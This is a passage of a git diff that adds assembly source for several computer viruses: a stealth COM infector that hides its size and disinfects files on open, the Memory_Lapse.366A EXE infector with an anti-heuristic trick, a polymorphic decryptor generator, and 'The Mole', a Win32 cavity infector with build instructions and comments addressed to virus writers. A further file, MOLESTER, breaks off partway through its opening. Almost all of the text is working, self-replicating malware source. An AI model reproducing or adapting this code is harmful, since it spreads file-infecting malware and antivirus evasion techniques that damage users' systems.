cmp al,'M' + jne no_handle_stealth +com_file: + push es + pop ds + mov si,bx + add si,1Ch ;High word of filesize. + lodsw + cmp ax,0 ;COM file -> not bigger + ;than 64 kb -> highword + ;=0. Just an additional + ;check. but OR AX,AX? + ;Cuz n0t! + jne no_handle_stealth + + mov si,bx + add si,16h ;File time. + lodsw + and al,1Fh + cmp al,0Ah + jne no_handle_stealth + + mov si,bx + add si,1Ah ;Low word of filesize. + + mov di,si + lodsw + sub ax,cs:virussize + jz no_handle_stealth + stosw +no_handle_stealth: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + retf 2 + +file_open: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es ;Save some regs. + + mov al,'.' + push ds + pop es + mov di,dx ;ES:DI points to filename. + + mov cx,32h + repne scasb ;Scan for '.' + mov si,di + lodsw + cmp ax,'OC' + je pffff_this_is_boring + cmp ax,'oc' + je pffff_this_is_boring + + mov dx,offset exit_disinfect + jmp dx + +pffff_this_is_boring: + lodsb + cmp al,'m' + je try_disinfect + cmp al,'M' + jne exit_disinfect +try_disinfect: + mov ax,3D02h + pushf + push cs + call call_dos ;Open file in read/write + ;mode. + jc exit_disinfect + + mov bx,ax ;Handle to BX. + + push cs + pop ds + push cs + pop es + mov ax,5700h + int 21h ;Get file date/time. + + and cl,1Fh + cmp cl,0Ah + jne exit_disinfect + mov ax,4202h + xor dx,dx + xor cx,cx ;CWD? naaaaaaaah! + int 21h ;Seek to EOF + + push ax + sub ax,3 ;Filesize-3 + mov dx,ax + mov ax,4200h + mov cx,0 + int 21h ;Seek to EOF-3. + + mov ah,3Fh + mov cx,3 + mov dx,offset buf + int 21h + + mov ax,4200h + xor cx,cx + xor dx,dx ;Boooooriiing. + int 21h ;Seek to BOF BOF BOF. + + mov ah,40h + mov cx,3 + mov dx,offset buf + int 21h + + pop dx + sub dx,virussize + mov ax,4200h + mov cx,0 + int 21h ;Seek to EOF-virussize. + + mov ah,40h + mov cx,0 + int 21h ;Truncate file. + + mov ah,3Eh + pushf + push cs + call call_dos ;close file. +exit_disinfect: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + pushf + push cs + call call_dos + retf 2 + +file_close: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es ;Hmpf. I suppose nobody + ;knows what subroutines + ;are these days.. + + mov ax,1220h + int 2Fh + mov bl,es:[di] + mov ax,1216h + int 2Fh ;Awright, grabbed SFT ptr. + + mov bp,di + add di,28h ;File extension. + + push es + pop ds + mov si,di + lodsw + cmp ax,'OC' ;AAARRRGGHh wibble wibble! + ;I can't take much more + ;of diiizzzzzzzzzzzz.. + jne exit_disinfect + lodsb + cmp al,'M' + jne exit_disinfect + + mov si,bp + add si,20h ;Filename. + push cs + pop es + call try_infect ;HUUUH? A SUBROUTINE? + jmp short exit_disinfect + +get_random: + push dx + push cx + push bx + in al,40h ;Timer data. + add ax,0 + mov dx,0 + mov cx,7 + +randomloop: + shl ax,1 ; Shift w/zeros fill + rcl dx,1 ; Rotate thru carry + mov bl,al + xor bl,dh + jns no_sign + inc al +no_sign: + loop randomloop + + pop bx + mov al,dl + pop cx + pop dx + retn + +anoi db '>>> A.N.O.I <<<' + +buf db 3 dup (0) + +virussize dw (endvirus-start) + +parasize dw 'd' + +something db ' ' + db ' ' + db ' ' + +filename db 12 dup (0) + +jmp_op db 0E9h +jmp_data dw 0 +restore_bytes db 90h + db 0CDh, 20h +endvirus: + + end start diff --git a/m/ML_366A.ASM b/m/ML_366A.ASM new file mode 100755 index 0000000..bf82ba9 --- /dev/null +++ b/m/ML_366A.ASM @@ -0,0 +1,189 @@ + title "Memory_Lapse.366A" +;ͻ +; Assembly Source Listing for Memory_Lapse.366A +; Copyright (c) 1993 Memory Lapse. All Rights Reserved. +;Ķ +; The Memory_Lapse.366A Virus is a non-encrypting, time/date stamp saving, +; original attribute retaining, disk transfr area preserving, direct action +; non-overwriting, appending, EXE infector. +;ͼ + .model tiny ;_ASSUME CS=DS=ES=SS + .code ;/ + org 100h ;Origin @ 100h + ; +start: ;Marks Start of Source +v_start: ;Marks Start of Virus + call $+003h ;Push IP onto Stack + pop bp ;Restore IP into BP + sub bp,103h ;Subtract for Delta + ; + push es ;Save Segment onto Stack + pop di ;Load DI w/DS + add di,010h ;Locate Start of EXE + + add di,cs:[bp+word ptr host_bytes+016h] ;Add CS to Start of EXE + ; + push di cs:[bp+word ptr host_bytes+014h] ;Push CS & IP onto Stack + push es ds cs ;Push Segments to Stack + + sub ax,ax ;Load Register w/Zero + push ax ax ;Push Registers to Stack + pop es ds ;Load Segments w/Zero + ; + mov si,021h*004h ;DS:[SI] > INT 21 Vector + mov di,003h*004h ;ES:[DI] > INT 03 Vector + ; + movsw ;DS:[SI] -> ES:[DI] + movsw ;DS:[SI] -> ES:[DI] + ; + pop ds ;Restore DS (CS=DS) + ; + mov ah,030h ;AH=30h / GET DOS VERS'N + int 003h ;DOS Services + ; + cmp al,003h ;Is it DOS 3.0? + jb returntohost ;Jump if Below + ; + mov ah,01Ah ;AH=1Ah / SET DTA + lea dx,cs:[bp+DTA] ;DX=Location of DTA + int 003h ;DOS Services + ; + mov [bp+byte ptr file_count],003h ;Memory Segment = 003h + ; +findfirstEXEfile: ; + mov ah,04Eh ;AH=4Eh / FINDFIRST + mov cx,1FFh ;CX=Attribute Masking + lea dx,cs:[bp+fileEXEspec] ;DX=File Search Type + ; +twilightZONE: ; + int 003h ;DOS Services + ; + jc doneEXEinfect ;Jump if Carry Set + ; + jmp SHORT infectEXEfile ;Unconditional Jump + ; +findnextEXEfile: ; + cmp [bp+byte ptr file_count],000h ;Infected 3 Files? + je doneEXEinfect ;Jump if Equal/Zero + ; + mov ah,04Fh ;AH=4Fh / FINDNEXT + ; + jmp SHORT twilightZONE ;Unconditional Jump + ; +doneEXEinfect: ; + mov ah,01Ah ;AH=1Ah / SET DTA + mov dx,080h ;DX=080h / Start of CMD + int 003h ;DOS Services + ; +returntohost: ; + pop ds es ;Restore Segments + ; + retf ;Return Far + ; +virus_name db 'Memory_Lapse.366A (07/01/93)',000h + db 'Copyright (c) 1993 Memory Lapse',000h + ; +infectEXEfile: ; + mov ax,3D00h ;AX=3D00h / OPEN + lea dx,cs:[bp+DTA+01Eh] ;DX=ASCIIZ File Name + int 003h ;DOS Services + ; + xchg bx,ax ;Exchange Register Value + ; + push bx ;Save File Handle + ; + mov ax,1220h ;AX=1220h / + int 2Fh ;Multiplex Interrupt + ; + mov bl,es:[di] ; + ; + mov ax,1215h ;AX=1215h / + inc ax ;AX=1216h / + int 2Fh ;Multiplex Interrupt + ; + pop bx ;Restore File Handle + ; + mov es:[di+word ptr 002h],002h ;Open for Read / Write + ; + mov ah,03Fh ;AH=3Fh / READ + mov cx,018h ;CX=Number of Bytes + lea dx,ds:[bp+host_bytes] ;DX=Buffer for Data + int 003h ;DOS Services + ; + cmp ds:[bp+word ptr host_bytes+000h],'ZM' ;Are We A Valid EXE? + jnz closeEXEfile ;Jump if Not Equal/Zero + ; + cmp ds:[bp+word ptr host_bytes+012h],'LM' ;Are We Infected? + jz closeEXEfile ;Jump if Equal/Zero + ; + mov ax,4202h ;AX=4202h / LSEEK EOF + sub cx,cx ;Load Register w/Zero + cwd ;Load Register w/Zero + int 003h ;DOS Services + ; + push dx ax ;Save Registers on Stack + ; + mov ah,040h ;AH=40h / WRITE + mov cx,(v_end-v_start) ;CX=Number of Bytes + lea dx,cs:[bp+v_start] ;DX=Location of Data + int 003h ;DOS Services + ; + mov ax,4202h ;AX=4202h / LSEEK EOF + xor cx,cx ;Load Register w/Zero + cwd ;Load Register w/Zero + int 003h ;DOS Services + ; + mov cx,200h ;CX=Number to Divide By + div cx ;Divide AX by CX + ; + inc ax ;Increment AX + ; + mov ds:[bp+word ptr host_bytes+004h],ax ;# of Pages in File + mov ds:[bp+word ptr host_bytes+002h],dx ;# of Bytes @ Last Page + ; + pop ax dx ;Restore Registers + ; + mov cx,010h ;CX=Number to Divide By + div cx ;Divide AX by CX + ; + sub ax,ds:[bp+word ptr host_bytes+008h] ;Subtract Header Size + ; + mov ds:[bp+word ptr host_bytes+016h],ax ;CS=Location of Virus + mov ds:[bp+word ptr host_bytes+014h],dx ;IP=Start of Virus + mov ds:[bp+word ptr host_bytes+012h],'LM' ;CRC=Infection Marker + ; + mov es:[di+word ptr 015h],000h ;Move File Pointer to + mov es:[di+word ptr 017h],000h ;Start of File Using SFT + ; + mov ah,040h ;AH=40h / WRITE + mov cx,018h ;CX=Number of Bytes + lea dx,ds:[bp+host_bytes] ;DX=Location of Data + int 003h ;DOS Services + ; + mov ax,5701h ;AX=5701h / SET T/D + mov cx,cs:[bp+word ptr DTA+016h] ;CX=Original Time @ DTA + mov dx,cs:[bp+word ptr DTA+018h] ;DX=Original Date @ DTA + int 003h ;DOS Services + ; + dec [bp+byte ptr file_count] ;Decrement Counter + ; +closeEXEfile: ; + mov ah,03Eh ;AH=3Eh / CLOSE File + int 003h ;DOS Services + ; + jmp findnextEXEfile ;Unconditional Jump + ; +host_bytes db 016h dup (000h) ;Buffer for Starting + dw 0FFF0h ;of the EXE header. + db 002h dup (000h) ; + ; +;Get Rid of ThunderByte's "Searches for COM/EXE Files" Heuristic Flag + ; +fileEXEspec db '*M.EXE',000h ;ASCIIZ File Specifics + ; +v_end: ;Marks End of Virus + ; +file_count db 001h dup (?) ;Buffer for Counter +DTA db 02Ah dup (?) ;Buffer for DTA + ; +end start ;Marks End of Source diff --git a/m/MODIFY.ASM b/m/MODIFY.ASM new file mode 100755 index 0000000..c5f0dc6 --- /dev/null +++ b/m/MODIFY.ASM @@ -0,0 +1,220 @@ +code segment + assume cs:code + org 100h +prog: + mov cx,(offset last - offset main + 1) / 2 + mov dx,0 + mov si,offset main + cmp ax,0 + xor cx,0 + nop + xor si,0 + nop +l103: inc ax +l102: inc bp +l101: clc +l100: xor word ptr [si],dx + inc si + inc si + dec ax + dec bp + loop l100 + +main: + call make + call save + + mov al,00h + mov ah,4ch + int 21h + +cdc dw 0 + +make proc near + call copy + mov bx,offset dcdr + call ch1 + call ch2 + mov bp,bx + mov di,offset dcdd + call ch30 + call copy1 + call ch4 + ret +make endp + +save proc near + mov ah,3ch + mov dx,offset fn + sub cx,cx + int 21h + jc ioerr + mov bx,ax + mov dx,offset prog + mov cx,offset last - offset prog + mov ax,es + mov ds,ax + mov ah,40h + int 21h + jc ioerr + mov ah,3eh + int 21h +ioerr: ret +save endp + +copy1 proc near + mov si,offset dcdr + mov di,offset prog + mov cx,offset dcdd - offset dcdr + rep movsb + ret +copy1 endp + +ch4 proc near + mov ax,cdc + mov bx,offset main + mov cx,(offset last - offset main + 1) / 2 + push es + pop ds +lch4: xor word ptr [bx],ax + inc bx + inc bx + loop lch4 + push cs + pop ds + ret +ch4 endp + +ch30 proc near + sub cx,cx + mov cl,byte ptr [di] + inc di +l30: call ch31 + add di,3 + loop l30 + ret +ch30 endp + +ch31 proc near + push cx + mov cx,8 +l31: call rndm + call ch32 + loop l31 + pop cx + ret +ch31 endp + +ch32 proc near + sub ax,ax + mov al,byte ptr [di] + mov si,bp + add si,ax + mov al,byte ptr [di+1] + mov bx,ax + mov al,byte ptr [di+2] + call ch33 + ret +ch32 endp + +ch33 proc near + push cx +lbeg: rcr dx,1 + jc noch + mov cx,bx +lch: mov ah,byte ptr [si] + xchg ah,byte ptr [si+bx] + mov byte ptr [si],ah + inc si + loop lch + jmp short lend +noch: add si,bx +lend: dec al + jnz lbeg + pop cx + ret +ch33 endp + + +ch2 proc near + rcr dx,1 + jc nobx + inc byte ptr [bx+03] + add byte ptr [bx+24],8 +nobx: rcr dx,1 + jc nodi + inc byte ptr [bx+06] + inc byte ptr [bx+17] + inc byte ptr [bx+24] + inc byte ptr [bx+25] + inc byte ptr [bx+26] +nodi: ret +ch2 endp + +ch1 proc near + call irnd + mov word ptr [bx+04],dx + mov cdc,dx + call rndm + mov word ptr [bx+01],(offset last - offset main + 1) / 2 + xor word ptr [bx+01],dx + xor word ptr [bx+14],dx + call rndm + mov word ptr [bx+07],offset main + xor word ptr [bx+07],dx + xor word ptr [bx+18],dx + call rndm + mov word ptr [bx+10],dx + rcr dx,1 + jc no1 + inc byte ptr [bx+30] +no1: rcr dx,1 + jc no2 + inc byte ptr [bx+30] + inc byte ptr [bx+30] +no2: ret +ch1 endp + +copy proc near + mov ax,cs + add ax,1000h + mov es,ax + mov si,offset prog + mov di,si + mov cx,offset last - offset prog + rep movsb + ret +copy endp + +irnd proc near + mov ah,2ch + int 21h + add dx,cx + ret +irnd endp + +rndm proc near + mov ax,cs + mul dx + add dx,ax + ret +rndm endp + +dcdr db 0b9h,0aeh,0,0bah,10h,20h + db 0beh,1fh,1,3dh,0,0 + db 81h,0f1h,0,0 + db 81h,0f6h,0,0 + db 40h,45h,0f8h + db 31h,14h + db 46h,46h,48h,4dh + db 0e2h,0f5h + +dcdd db 4,0,3,3,12,4,1,20,1,2,25,1,3 + +fn db 'super.com',0 + +last label byte +code ends + end prog + + \ No newline at end of file diff --git a/m/MOLE.ASM b/m/MOLE.ASM new file mode 100755 index 0000000..b2ca241 --- /dev/null +++ b/m/MOLE.ASM @@ -0,0 +1,793 @@ +;The Mole by Murkry\ikx +;A small win32 virus that uses memmap to expand the code section of a +;.exe then place its code there. Does not work on some Win98 files since +;MS in its infinite wisdom has made file aligment 1000h instead of 200h +;of course this makes this type of virus redunant since you do not need +;to expand the section odds are the file will have 400-800h bytes free anyway +;so the day of cavity infectors has come in the form of Win98 but sadly +;this virus does not infect Win98 type files. But it does infect WinNT +;A relative small change in code should rectify this. +;if the file infect mask is changed to *.dll it will work and if then +;return to *.exe it returns. This would be a intersting change for other +;students of vx to explore. + +;To assemble +;tasm32 /ml /m3 mole; +;tlink32 /Tpe /aa /c /x mole,mole,, import32.lib, + +;Tested in NT and Win95 works very well +;size just under 400h to get the date resest and control attributes +;it would need to be bigger say 600h; + +;A quick survey off 30 PE file in a win95 directory shows +; possible percent of files that can be infected versus size of +;virus of this type +; +; 400h 83% +; 600h 60% +; 800h 50% +; a00h 37% +; c00h 20% + +ViriiSize equ 400h + +.386 +.model flat,stdcall + +extrn GetFileSize:PROC +extrn ExitProcess:PROC + +extrn CreateFileA:PROC +extrn CreateFileMappingA:PROC +extrn MapViewOfFile:PROC +extrn UnmapViewOfFile:PROC +extrn CloseHandle:PROC + +extrn FindFirstFileA:PROC +extrn FindNextFileA:PROC +extrn FindClose:PROC +extrn SetEndOfFile:PROC + +FILE_MAP_COPY EQU 000000001h +FILE_MAP_WRITE EQU 000000002h +FILE_MAP_READ EQU 000000004h +FILE_MAP_ALL_ACCESS EQU 0000f001fh + + +INVALID_HANDLE_VALUE EQU -1 + +FILE_ATTRIBUTE_NORMAL EQU 000000080h + +GENERIC_READ equ 80000000h +GENERIC_WRITE equ 40000000h + +OPEN_EXISTING equ 3 + +PAGE_NOACCESS EQU 000000001h +PAGE_READONLY EQU 000000002h +PAGE_READWRITE EQU 000000004h +PAGE_WRITECOPY EQU 000000008h +PAGE_EXECUTE EQU 000000010h +PAGE_EXECUTE_READ EQU 000000020h +PAGE_EXECUTE_READWRITE EQU 000000040h +PAGE_EXECUTE_WRITECOPY EQU 000000080h +;Header Offsets + +PEHeaderSze EQU 0F8h +NumOfSects EQU 06h +SizeOfCode equ 1ch +ImageSze equ 50h + + + +;section offsets +VSize equ 8h +VAddress equ 0Ch +SzeRawData equ 10h +PtrRawData equ 14h +HdrSze equ 28h + +Find_data equ 139h +Find_data_name equ 2ch ;where in the structure is the name +FileSizeH equ 14h ;if not zero get out +Filesize equ 20h ;file size low +;find_file db Find_data dup(00) ;size of the find data + +;------------------------------------------- +;how the stack is used +SHandle equ 0 ;Handle for the search routine +FHandle equ SHandle + 4 ;Handle for open file +CMHandle equ FHandle + 4 ;CreateMFileHandle +MHandle equ CMHandle + 4 ;Mhandle also address of where it is +FindFile equ MHandle + 4 + +CFile equ FindFile + Find_data + 4 +CFMap equ CFile + 4 +MapV equ CFMap + 4 +CloseH equ MapV + 4 +FindFirst equ CloseH + 4 +FindNext equ FindFirst + 4 +CloseFnd equ FindNext + 4 +UnMapV equ CloseFnd + 4 +SetFEnd equ UnMapV + 4 +Flag equ SetFEnd + 3 + +GetProc equ Flag + 4 +K32Load Equ GetProc + 4 +HostPE Equ K32Load + 4 +HostLoad equ HostPE + 4 +Delta equ HostLoad + 4 + +WorkSpace equ GetProc + + +;------------------------------------------- +.data ;the data area +dummy dd ? ;this needs some data + ;or it won't compile ...easily + +;------------------------------------------- +.code + +Mole: + db 68h +HostEip dd offset fini - 00400000h + + Pusha + + call GetAddie ;this leaves some data on the stack + ;which mole use's +D1: sub esp,WorkSpace + mov ebp,esp + sub dword ptr[ebp + Delta],offset D1 - Offset Mole + ;this gives mole its location in memory + + ;set return up to old eip + mov eax,dword ptr [ebp + HostPE] + add dword ptr [ebp + Delta + 4 + (8*4)],eax + + Call GetFunctions ;With the k32 module + ;and GetProc we can now get all + ;the Fuctions we want + + ;FINDFIRST + lea eax,[ebp + FindFile] + push eax + + mov eax,[ebp + Delta] + + ;add eax, offset FileN - Offset Mole + add eax, offset Fmask - Offset Mole + push eax + call dword ptr [ebp + FindFirst] + + mov dword ptr [ebp + SHandle],eax + inc eax + jz NoFiles + dec eax + +TryItAgain: + mov byte ptr [ebp + Flag],0 ;assume too small + call Map_Infect? + + cmp byte ptr[ebp + Flag],0 + jz FindNextOne + + add dword ptr [Ebp + FindFile + Filesize],ViriiSize + call Map_Infect? + + ;call Modify + +FindNextOne: + ;FINDNEXT + lea eax,[ebp + FindFile] + push eax + + mov eax,[ebp + SHandle] + push eax + + call dword ptr [ebp + FindNext] + or eax,eax + jnz TryItAgain + + +NoFiles: + lea eax,[ebp + FindFile] + push eax + + Call dword ptr [ebp + CloseFnd] + + + ADD ESP,Delta + 4 ;restore all + Popa + + ret ;return to the host + +;-------------------------------------------------------------- + +Map_Infect?: + + xor eax,eax + cdq ;edx = 0 + + push eax ;handle template + + ;push FILE_ATTRIBUTE_NORMAL ;attr flags + mov dl,80h + push edx + + push large OPEN_EXISTING ;creat flags + + push eax ;security issue + push eax ;share mode + + push GENERIC_READ or GENERIC_WRITE ;r\w access + + Lea eax,[ebp + FindFile + Find_data_name] + push eax ;file name + + call dword ptr [ebp + CFile] ;CreateFileA + + inc eax ;smaller than cmp eax,-1, je... + jz FileError ; + dec eax ; + +;------------------------------------------------------------- + cdq ;get edx = 0 + mov [ebp + FHandle],eax +;------------------------------------------------------- +;CreateFileMap object +;This is what will determine how big the file is +;when this is done the file size will be changed +;and of course the date is changed + + push edx ;fileMap name + + + + push dword ptr [Ebp + FindFile + Filesize] + + + push edx ;file size high not use for this + + push large PAGE_READWRITE ;Protection Rights R/W etc + push edx ;security attr + push eax ;File Handle + call dword ptr [ ebp + CFMap ] ;CreateFileMappingA + cdq ;again zero edx + ;why here well ecx usual contains a + ;value like C??????? which when xchg + ;to eax when you us cdq edx = -1 not 0 + xchg eax,ecx + + jecxz MapHandleError + +;------------------------------------------------------------- + mov [ebp + CMHandle],ecx ;2nd FileMapHandle +;------------------------------------------------------------- +;Map the View + + + push edx ;size to map if 0 whole file + ;in win95 its always does whole file + push edx ;where it file to start the mapping + ;low word + push edx ;high word + push large FILE_MAP_WRITE ;Acces rights + push ecx ;Map Handle + call dword ptr [ebp + MapV] ;MapViewOfFile + xchg eax,ecx + jecxz ErrorFileMap + +;--------------------------------------------------------------------------- + mov dword ptr [ebp + MHandle],ecx ;3rd Address of where its mapped +;--------------------------------------------------------------------------- + +;check for the oking of it then jmp out or back to close +;then reopen +; + + MOV EDX,ECX + + MOV Ebx,[EDX + 3CH] ;WHERE THE PE + cmp word ptr [ ebx+ edx],'EP' + jne NoRoom + + LEA esi,[ebx + PEHeaderSze + edx] ; esi = first Section Entry + + ;check for the section char is + ;set for code + + test byte ptr [esi + 24h],20h + JE NoRoom + + ;FindOut if there is room to expand the file + + mov ecx,[ESI + VAddress] + add ecx,[ESI + SzeRawData] + mov Eax,[ESI + VAddress + HdrSze ] + + sub Eax,Ecx + cmp eax,ViriiSize + jl NoRoom + + cmp byte ptr [ebp + Flag],0 + jne Roomie + + inc byte ptr [ebp + Flag] + + jmp GoodOpenSize + +Roomie: + + call Infect + + +NoRoom: + +GoodOpenSize: ;if called close file and get ready to infect + + push dword ptr [ebp + MHandle] + call dword ptr [ebp + UnMapV] ;UnmapViewOfFile + + +;------------------------------------------------------------- + + +ErrorFileMap: + push dword ptr [ebp + CMHandle] ;close file map handle + call dword ptr [ebp + CloseH] ;CloseHandle ;on stack Handle to the Map object + + + +MapHandleError: + push dword ptr [ebp + FHandle] + call dword ptr [ebp + CloseH] ;file CloseHandle ;on stack is the File open + + + +FileError: + + ret + +;----------------------------------------------------------------- +Infect: +;Ok do the move + + push esi + mov edx,[ebp + MHandle] + mov eax,[esi + PtrRawData] + add eax,[esi + SzeRawData] ;where this section ends in the file + + + mov ecx,dword ptr [Ebp + FindFile + Filesize] + + dec ecx + sub ecx,ViriiSize + lea esi,[edx + ecx] ;where to move the data from + lea edi,[edx + ecx + ViriiSize ] ;to + inc ecx + + sub ecx,eax ;how much we move for 800h + std ;move backwards + rep movsb ;move it + + cld ;move forward again + + xchg edi,esi + inc edi + + + pop esi + push esi + + mov eax,[ebp + MHandle] + add eax,[eax + 3ch] ;points to PE + + push eax + + mov eax,[eax+28h] ;entry point RVA (Eip) + mov byte ptr [edi],68h ;creates the push for the ret + mov dword ptr [edi + 1],eax ;to return to host + + pop eax + + mov ecx,[ebp + MHandle] + add ecx,[esi + PtrRawData] + push edi + sub edi,ecx + add edi,[esi + VAddress] + ;inc edi + mov dword ptr [eax +28h],edi ;update the eip address + pop edi + + lea edi,[edi + 5] ;maybe 5 incs are better + + mov esi,dword ptr [ebp + Delta] + lea esi,[esi + 5] + mov ecx,offset fini - offset Mole + rep movsb + + + pop esi ;restore pointer to the section entries + + + ;update the .code area size in the section + add dword ptr [esi + SzeRawData ],ViriiSize + mov eax,dword ptr [esi + SzeRawData] + + + ;update this as well be better if we check if it needed to be + ;enlarged??? + mov dword ptr [esi + VSize],eax + + ;not updating the image size since we are not + ;becoming bigger in memory aligment only file alignment + ;in the header PE + ;add dword ptr [edx + ebx + ImageSze],ViriiSize + + + ;Do update the code size in the Header area + add dword ptr [edx + ebx + SizeOfCode],ViriiSize + + ;now update the rest of the sections + Movzx ecx,word ptr [edx + ebx + NumOfSects] + dec ecx + +;update the section entries pter to raw data as long as not 0 +NextSect: + add esi, HdrSze + cmp dword ptr [esi + PtrRawData],0 + je ZPter + add dword ptr [esi + PtrRawData],ViriiSize +ZPter: loop NextSect + + ret + + +;-------------------------------------------------------------------------- +;Used For GetAddie +K32 equ 0 +BASE equ K32 + 4 +Limit equ BASE + 4 +AddFunc equ Limit + 4 +AddName equ AddFunc + 4 +AddOrd equ AddName+4 +Nindex equ AddOrd + 4 +WorkSp equ Nindex + 4 +GetPAdd equ WorkSp + 4 +RetAdd Equ GetPAdd + 4 + + +EdataLoc equ 78h +IdataLoc equ 80h + +GetAddie: + + call here +here: pop esi + + Call GetPE ;eax,esi + jne GetAddie_fini + + push eax ;Address of PE header for this module + push esi ;Load address of Module + + Call GetK32API + ;On return Esi = a API call in Kernel32 + + Call GetPE ;eax,esi + push ESI ;Module address of K32 + + ;esi = to the load address Kernel32 + ;eax = address to the PE header of Kernel32 + push large 0 ;hold the return info + Call GetGetProcessAdd + + + push dword ptr [esp + 10h] + +GetAddie_fini: + + ret + +;-------------------------------------------------------------- +GetGetProcessAdd: +;esi = to the load address Kernel32 +;eax = address to the PE header of Kernel32 +;on return +;on the stack is the Address + + sub esp,WorkSp + mov ebx,ebp + + mov ebp,esp + + Pusha + + mov dword ptr[ esp+ 8],ebx + + + mov [ebp + K32],Esi + mov ebx,esi + + mov eax,[eax + EdataLoc] ;gets us the Edata offset + + lea esi,[eax + ebx + 10h] ;pointer to base + + lea edi,[ebp+BASE] + + lodsd + ;mov [ebp + BASE],eax ;save base + stosd + + lodsd ;total number of exported functions + ;by name and ordinal + + lodsd ;the functions exported by name + ;mov [ebp +Limit],eax ;this is how far its safe to look + stosd + + + lodsd + add eax,ebx + + ;mov [ebp + AddFunc],eax + stosd + + lodsd + + add eax,ebx + ;mov [ebp + AddName],eax + stosd + + lodsd + add eax,ebx + ;mov [ebp + AddOrd],eax + stosd + + +LookLoop: + mov esi,[ebp + AddName] + mov [EBP+Nindex],esi + + mov edi,ebx ;get the load Add of K32 + add edi,[esi] + + xor ecx,ecx +TryAgain: + + ;find GetProcAddress + cmp [edi],'PteG' + jne NextOne + + cmp [edi+4],'Acor' + jne NextOne + + cmp [edi+8],'erdd' + jne NextOne + + cmp word ptr[edi+0Ch],'ss' + jne NextOne + + cmp byte ptr [edi+0Eh],00 + jne NextOne + + jmp GotGetProcAdd + +NextOne: + inc ecx + cmp ecx,[ebp + Limit] + jge NotFound1 + + add dword ptr [ebp + Nindex],4 + mov ESI,[EBP+Nindex] + mov edi,[esi] + add edi,ebx + jmp TryAgain + + + +GotGetProcAdd: + ;ok we have the index into the name array use this to get + ; the index into the ord array + ; + shl ecx,1 ;*2 for a word array + mov esi,[ebp + AddOrd] + add esi,ecx ;move to the correct spot in the array + + movzx eax,word ptr [esi] + ;ax = ordinal value + + shl eax,2 ;*4 + mov esi,[ebp + AddFunc] + add esi,eax + + mov edi, dword ptr [esi] + add edi,ebx ;got the address of it + + xchg eax,edi + mov dword ptr [ebp + GetPAdd],eax + jmp OkFound + +NotFound1: + + xor eax,eax +OkFound: + + + popa + add esp,WorkSp + + + ret + +;-------------------------------------------------------------- +;ok at this point we have +;esi = to the load address of the program +;eax = address to the PE header now using this get the .idata area +;rather than use the .IDATA section we look for the more dependable +;idata entry in the idatrva section which is offset 80h into the PE header + + +GetK32API: + push ebx + mov ebx,dword ptr [eax + IdataLoc] + + add ebx,esi + + ;Ebx now points to the import data table + +NextDll: + cmp dword ptr [ebx+0ch],0 + je NoIdataLeft + + lea eax,[ebx+0ch] + + mov eax,[eax] + cmp dword ptr [eax+esi],'NREK' + jne NotFound + cmp dword ptr [eax+esi+4],'23LE' + jne NotFound + + mov eax,[ebx+10h] + mov eax,[eax+esi] + +;next line is needed only in debug td32 +;only in win95 not Winnt 4.0 at least so far +; mov eax,[eax+1] + + + xchg eax,esi + pop ebx + ret + +NoIdataLeft: + xor eax,eax + pop ebx + ret + +NotFound: + add ebx,14h + jmp NextDll +;--------------------------------------------------------- + +;Routine that will , given the address within a .exe in memory +;track back and find the MZ header then using this info one can +;find the Kernel32 (as long as the exe imports a kernel32 function +; on input +;esi = the address to start looking at +;on exit +;esi = the address of the MZ header +;eax = the address of the PE header + +GetPE: + +SetupSEH: + push offset FindExcept + push dword ptr fs:[0] + mov fs:[0],esp + +LoopFind: + and esi,0FFFFF000h + pusha + lodsw + cmp ax,'ZM' + je Found + popa + sub esi,1000h + jmp LoopFind + +FindExcept: + ;Some Exception occured assume "DEAD" area, reset and continue + mov eax,[esp +08h] + lea esp,[eax - 20h] + popa ;restores our "REGS" esi mainly + pop dword ptr fs:[0] ;restore old handler + add esp,4 ;remove last bit of hanlder + sub esi,1000h ;Get set for next page to look at + jmp SetupSEH + +Found: + popa ;esi = out MZ header + pop dword ptr fs:[0] + add esp,4 + + Lea eax,[esi + 3ch] + + mov eax,[eax] + add eax,esi + + cmp word ptr ds:[eax],'EP' + + ret + +;--------------------------------------------------------------- +GetFunctions: + Mov esi,[ebp+ Delta] + add esi,offset Funct_List - Offset Mole + + Lea edi,dword ptr [ebp + CFile] + + ;mov ecx,9 ;* + xor ecx,ecx + mov cl,9 + +startGetLoop: + push ecx + + push Esi ;function name + Push dword ptr [ ebp + K32Load] ;dll + call dword ptr [ebp + GetProc] + stosd + + pop ecx + + add esi,13h ;get next name + + Loop startGetLoop + + ret + +;--------------------------------------------------------------- + + +;Data for The Mole + +Funct_List: + db "CreateFileA",0 ;12 +Fmask db "*.EXE",0 ;5 + db 1 dup(90h) + + db "CreateFileMappingA",0 ;19 + + db "MapViewOfFile",0 ;14 + db 5 dup(90h) + + db "CloseHandle",0 ;12 + db 7 dup(90h) + + db "FindFirstFileA",0 ;15 + db 4 dup(90h) + + db "FindNextFileA",0 ;14 + db 5 dup(90h) + + db "FindClose",0 ;10 + db 9 dup(90h) + + db "UnmapViewOfFile",0 ;16 + db 3 dup(90h) + + db "SetEndOfFile",0 ;13 + ;db 6 dup(90h) + db 'Murkry\IKX' + +;========================================================================= + +fini: + + push LARGE -1 + call ExitProcess ;this simply terminates the program + + end Mole diff --git a/m/MOLESTER.ASM b/m/MOLESTER.ASM new file mode 100755 index 0000000..6f69a4e --- /dev/null +++ b/m/MOLESTER.ASM @@ -0,0 +1,196 @@ + +PAGE 59,132 + +;========================================================================== +;== == +;== MOLESTER == +;== == +;== Created: 18-Apr-92 == +;== Passes: 5 Analysis Options on: QRSU == +;== == +;========================================================================== + + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +MOLESTER proc far + +start: + jmp real_start ; (0106) + ;* No entry point to code + int 10h ; Video display ah=functn 00h + ; set display mode in al + retn + +;========================================================================== +; +; External Entry Point +; +;========================================================================== + +real_start: ; xref 580C:0100 +;* jmp short loc_1 ;*(010C) + db 0EBh, 04h + ;* No entry point to code + nop + dec si + pop ss + add bh,[bp+di+101h] + mov ah,[bx] + mov bx,102h ; (580C:0102=0) + mov al,[bx] + xchg al,ah + add ax,3 + mov si,ax + mov cl,byte ptr ds:[103h][si] ; (580C:0103=0CDh) + call sub_1 ; (0308) + cmpsw ; Cmp 